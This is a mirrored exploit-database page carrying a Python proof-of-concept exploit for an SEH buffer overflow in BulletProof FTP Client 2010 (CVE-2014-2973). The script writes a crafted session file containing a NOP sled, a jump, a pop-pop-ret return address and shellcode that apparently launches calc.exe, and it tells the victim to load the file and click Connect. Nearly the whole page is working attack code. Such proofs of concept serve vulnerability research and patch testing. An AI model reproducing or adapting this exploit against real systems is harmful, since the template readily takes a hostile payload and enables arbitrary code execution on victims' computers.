BulletProof FTP Client 2010 – Buffer Overflow (SEH)

  • 作者: Robert Kugler
    日期: 2014-09-05
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/34540/
  • # !/usr/bin/python
    #-----------------------------------------------------------------------------#
    # Exploit Title: BulletProof FTP Client 2010 - Buffer Overflow (SEH) Exploit#
    # Date: Sep 05 2014														#
    # Vulnerability Discovery: Gabor Seljan #
    # Exploit Author: Robert Kugler #
    # Software Link: http://www.bpftp.com/#
    # Version: 2010.75.0.76 #
    # Tested on: Windows XP #
    # CVE: CVE-2014-2973 													#
    # 				#
    # Thanks to corelanc0d3r for his awesome tutorials and help! ;-)	#
    # The "Enter URL" form is also vulnerable				#
    #-----------------------------------------------------------------------------#
    
    buffer = "This is a BulletProof FTP Client Session-File and should not be modified directly.\n"
    buffer+= "\x20" + "\x90" * 89
    buffer+= "\xeb\x06\x90\x90"
    buffer+= "\xA0\xB3\x3C\x77" # shell32.dll pop pop ret @773CB3A0
    buffer+= "\x90" * 119 # 160 characters space
    buffer+= ("\x33\xc0\x50\x68"
     "\x2E\x65\x78\x65"
     "\x68\x63\x61\x6C"
     "\x63\x8B\xC4\x6A" # 36 bytes
     "\x01\x50\xBB\x35" # ExitProcess is located at 0x77e598fd in kernel32.dll
     "\xfd\xe4\x77\xFF"
     "\xD3\x33\xc0\x50"
    	 "\xc7\xc0\x8f\x4a"
    	 "\xe5\x77\xff\xe0")
    
    buffer+= "\x90" * (1000 - len(buffer))
    
    # Just load the "BP Session" and click on "Connect".
    
    file = open("ftpsession.bps","w")
    file.write(buffer)
    file.close()